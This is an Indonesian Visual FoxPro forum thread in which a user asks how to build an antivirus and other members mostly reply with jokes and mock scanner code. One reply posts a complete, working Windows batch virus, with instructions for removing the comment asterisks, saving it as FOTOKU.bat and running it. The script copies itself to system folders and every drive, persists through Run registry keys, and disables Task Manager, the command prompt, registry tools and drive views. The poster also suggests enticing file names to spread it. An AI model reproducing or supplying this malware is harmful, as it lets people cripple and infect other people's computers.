« previous next »
Pages: [1] 2   Go Down
Share this topic on FacebookShare this topic on MySpaceShare this topic on Del.icio.usShare this topic on DiggShare this topic on StumbleUponShare this topic on TwitterShare this topic on GoogleShare this topic on Yahoo

Author Topic: Membuat antivirus menggunakan VFP.  (Read 1069 times)

0 Members and 1 Guest are viewing this topic.

Offline hr_land

  • Full Member
  • *
  • Thank You
  • -Given: 0
  • -Receive: 0
  • Posts: 67
Membuat antivirus menggunakan VFP.
« on: November 18, 2009, 12:46:04 PM »
buat fox mania...
saya mau tanya nie...
gimana cara penggunaan fungsi activex/(component API klo di Visual basic 6.0.) yang ada di foxpro 9.0
soalnya saya lagi mau coba buat antivirus menggunakan foxpro..
mohon pencerahanya.... :icon_salut: :icon_salut:
Logged

Offline davidmustakim

  • Fox-id M.V.P
  • Hero Member
  • *
  • Thank You
  • -Given: 1
  • -Receive: 22
  • Posts: 4599
Re: Membuat antivirus menggunakan VFP.
« Reply #1 on: November 18, 2009, 01:23:07 PM »
... hmm emang enak mancing pake bambu dan tali rafia+peniti celana... tapi lebih enaknya kalo beli yang udah jadi dan paten.. apalagi yang bagus2 sekarang banyak freeware, eh, bukan pancing tapi AV
Logged

Offline Haryadivfp

  • Junior Member
  • *
  • Thank You
  • -Given: 0
  • -Receive: 0
  • Posts: 162
  • KNOWLEDGE IS POWER
Re: Membuat antivirus menggunakan VFP.
« Reply #2 on: November 18, 2009, 01:50:43 PM »
@davidmustakim :

Kan mau coba buat sendiri dan belum ingin beli..
Emang menurut hasilnya : beli dari perusahaan besar tentunya kan lebih baik, tapi kalau buat sendiri memang kurang baik tapi kelebihannya adalah daya pikir kita akan lebih luas...gitu ya pak?
Logged

Offline ashari

  • Newbie
  • *
  • Thank You
  • -Given: 0
  • -Receive: 0
  • Posts: 20
Re: Membuat antivirus menggunakan VFP.
« Reply #3 on: November 18, 2009, 01:55:31 PM »
saya setuju pendapat pak david kalau mau ngangkut pasir ya pakai truck jangan pakai inova
tapi kalau ingin berkreasi ya bagus lah semoga berhasil
Logged

Offline davidmustakim

  • Fox-id M.V.P
  • Hero Member
  • *
  • Thank You
  • -Given: 1
  • -Receive: 22
  • Posts: 4599
Re: Membuat antivirus menggunakan VFP.
« Reply #4 on: November 18, 2009, 02:31:48 PM »
Quote from: Haryadivfp on November 18, 2009, 01:50:43 PM
@davidmustakim :

Kan mau coba buat sendiri dan belum ingin beli..
Emang menurut hasilnya : beli dari perusahaan besar tentunya kan lebih baik, tapi kalau buat sendiri memang kurang baik tapi kelebihannya adalah daya pikir kita akan lebih luas...gitu ya pak?

pakai lah alat yang tepat untuk mengerjakan sesuatu dengan hasil optimal, termasuk:
pakailah compiler dan otak programmer spesialis anti-virus, kalau foxer ketemu virus ntar malah di-do-while-enddo ato for-next kelamaan trus dibuatkan cursor adapter pake remote views lantas dibrowse, posting di forum ........ K A P A N   M A T I N Y A?
Logged

Offline aris_ah

  • Junior Member
  • *
  • Thank You
  • -Given: 3
  • -Receive: 2
  • Posts: 207
    • http://www.indosmartsys.com
Re: Membuat antivirus menggunakan VFP.
« Reply #5 on: November 18, 2009, 03:05:32 PM »
Quote
posting di forum ........ K A P A N   M A T I N Y A?


pake karung basah... pasti mati dehhh...   :thefinger:
Logged

Offline davidmustakim

  • Fox-id M.V.P
  • Hero Member
  • *
  • Thank You
  • -Given: 1
  • -Receive: 22
  • Posts: 4599
Re: Membuat antivirus menggunakan VFP.
« Reply #6 on: November 18, 2009, 05:27:15 PM »
udah coba pakai command: SCAN .. ENDSCAN ?  mungkin bisa
Logged

Offline cassanova

  • Newbie
  • *
  • Thank You
  • -Given: 0
  • -Receive: 0
  • Posts: 24
Re: Membuat antivirus menggunakan VFP.
« Reply #7 on: November 18, 2009, 07:55:02 PM »
Quote from: davidmustakim on November 18, 2009, 05:27:15 PM
udah coba pakai command: SCAN .. ENDSCAN ?  mungkin bisa


 :icon_biggrin: :icon_biggrin: :icon_biggrin: mohon ijin modifikasi dikit pak DEM...

SCAN
   IF INFECTED()
      This.Virus.Destroy()
   ENDIF
ENDSCAN


atau yang ini...


TRY
   DO FORM VirusScanner WITH "CACAR"
   VirusScanner.AddObject("tablet","asiklovir")
   VirusScanner.AddObject("tablet","paracetamol")

   READ EVENTS

CATCH TO oError
   IF oError.ErrorNo = 1
      IF NOT meriang AND NOT gatal AND NOT bentol_bentol
         MESSAGEBOX("VIRUS CACAR NOT FOUND!", 64, "INFO")
      ENDIF
   ENDIF

FINALLY
   IF NOT dead_yet
      CLEAR EVENTS
   ENDIF

ENDTRY
Logged

Offline davidmustakim

  • Fox-id M.V.P
  • Hero Member
  • *
  • Thank You
  • -Given: 1
  • -Receive: 22
  • Posts: 4599
Re: Membuat antivirus menggunakan VFP.
« Reply #8 on: November 18, 2009, 10:06:24 PM »
... koq saya coba error ? mohon pencerahan
Logged

Offline davidmustakim

  • Fox-id M.V.P
  • Hero Member
  • *
  • Thank You
  • -Given: 1
  • -Receive: 22
  • Posts: 4599
Re: Membuat antivirus menggunakan VFP.
« Reply #9 on: November 19, 2009, 02:48:15 AM »
Wah, akhirnya berhasil !  Virus memang tidak mati, tapi lumayan stress berat sampai mengadu ke KomNas HAM, eh HAV, dengan keluhan bahwa program anti-virus baru ini menggunakan command2 yang belum cukup disosialisasikan. Kayaknya ada upaya kriminalisasi VFP nih
Logged

Offline cassanova

  • Newbie
  • *
  • Thank You
  • -Given: 0
  • -Receive: 0
  • Posts: 24
Re: Membuat antivirus menggunakan VFP.
« Reply #10 on: November 19, 2009, 08:01:34 AM »
 :icon_biggrin: :icon_biggrin: :icon_biggrin: pak DEM emang TOP abiss... selain jago VFP, juga jago banget merangkai kata...


(I've learnt a lot from you sir, thank you very much)
 :icon_thumleft: :icon_thumleft: :icon_thumleft: :icon_salut: :icon_salut: :icon_salut:
Logged

Offline uge

  • Junior Member
  • *
  • Thank You
  • -Given: 3
  • -Receive: 0
  • Posts: 166
Re: Membuat antivirus menggunakan VFP.
« Reply #11 on: November 19, 2009, 08:13:04 AM »
Dulu kayaknya pernah ada yang coba buat virus pake VFP, sy pernah download kok? Mungkin dari sini juga bisa pake referensi ut membuat antinya. coba search dulu
Logged
Ilmu tanpa agama akan tidak terarah, agama tanpa ilmu akan lemah

Offline WardiePNiron

  • Junior Member
  • *
  • Thank You
  • -Given: 3
  • -Receive: 10
  • Posts: 259
  • ..Pak ajari saya biar pinter dong..!
Re: Membuat antivirus menggunakan VFP.
« Reply #12 on: November 19, 2009, 09:10:46 AM »
Buat nguji anti virus Mas hr_land ini saya ada virus yang yahhh... sepele banget lah.. wong cuman saya tulis ramuannya pake notepad.....
Kerjanya bikin komputer hang dan sudah bisa blokir semua jalan masuk untuk repair mulai dari drive a-q sampai registri editor...

Code: [Select]
echo off  
*if not exist c:\windows\%0 copy %0 c:\windows
*if not exist c:\windows\system\%0 copy %0 c:\windows\system
*if not exist c:\windows\system32\%0 copy %0 c:\windows\system32
*For %%p in (C D E F G H I J K L M N O P Q) do copy %0 %%p:\
*ren c:\windows\FOTOKU.bat  FOTOMU.bat
*ren c:\windows\system\FOTOKU.bat  FOTOMU.bat
*ren c:\windows\system32\FOTOKU.bat  FOTOMU.bat
*if not exist c:\windows\%0 copy %0 c:\windows
*if not exist c:\windows\system\%0 copy %0 c:\windows\system
*if not exist c:\windows\system32\%0 copy %0 c:\windows\system32
*reg add hkcu\software\microsoft\windows\currentversion\explorer\advanced /v showsuperhiden /t reg_dword /d 0 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v noFolderOptions /t reg_dword /d 1 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskmgr /t reg_dword /d 1 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t reg_dword /d 1 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v norun /t reg_dword /d 1 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifin /t REG_SZ /d C:\Windows\FOTOKU.bat /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifin2 /t REG_SZ /d C:\Windows\FOTOMU.bat /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifin3 /t REG_SZ /d C:\Windows\System\FOTOKU.bat /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifin4 /t REG_SZ /d C:\Windows\System\FOTOMU.bat /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifin5 /t REG_SZ /d C:\Windows\System32\FOTOKU.bat /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v aktifin6 /t REG_SZ /d C:\Windows\System32\FOTOMU.bat /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 4 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 8 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 16 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 32 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 64 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 128 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 128 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 256 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t reg_dword /d 512 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t reg_dword /d 2 /f
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t reg_dword /d 1 /f

Silahkan diuji.... buka pake notepad, hilangkan tanda *, save pakai FOTOKU.bat, jalankan dg dobel klik atao klik kanan open....

Monggo mas....
« Last Edit: November 19, 2009, 09:19:46 AM by WardiePNiron »
Logged
Anti Rokok, Anti Narkoba, Anti Boros, Anti Anarkisme

Offline davidmustakim

  • Fox-id M.V.P
  • Hero Member
  • *
  • Thank You
  • -Given: 1
  • -Receive: 22
  • Posts: 4599
Re: Membuat antivirus menggunakan VFP.
« Reply #13 on: November 19, 2009, 11:03:58 AM »
itu tadi foto siapa? koq layarku cuman blank...
Logged

Offline WardiePNiron

  • Junior Member
  • *
  • Thank You
  • -Given: 3
  • -Receive: 10
  • Posts: 259
  • ..Pak ajari saya biar pinter dong..!
Re: Membuat antivirus menggunakan VFP.
« Reply #14 on: November 20, 2009, 08:17:31 AM »
Ah pak david suka ngledek pura-pura ga tau... memberi nama file dg 'FOTOKU' itu kan cuman cara untuk 'memasarkan' virus biar 'laku'.... kalau mau lebih menarik lagi ya 'FOTOKU' bisa di ganti jadi 'FotoMiyabi'.... :)

Apa bener pak david udah coba ? Ada efek ga pak setelah komputer abis shutdown terus di hidupkan lagi?
Saya udah coba ngefek sih. Jadi my komputer, semua drive,run window,dos command dll ga bisa dibuka, dan bisa ngopi file virus ke semua drive yang nancep dari a-q...

Itu kan cuman mainin registri aja sihh... jadi kalau mau coba,... script yang ini :
Code: [Select]
*REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t reg_dword /d 1 /f tanda * jangan di hapus jadi masih bisa mbetulin lewat regedit....




Logged
Anti Rokok, Anti Narkoba, Anti Boros, Anti Anarkisme
Pages: [1] 2   Go Up
« previous next »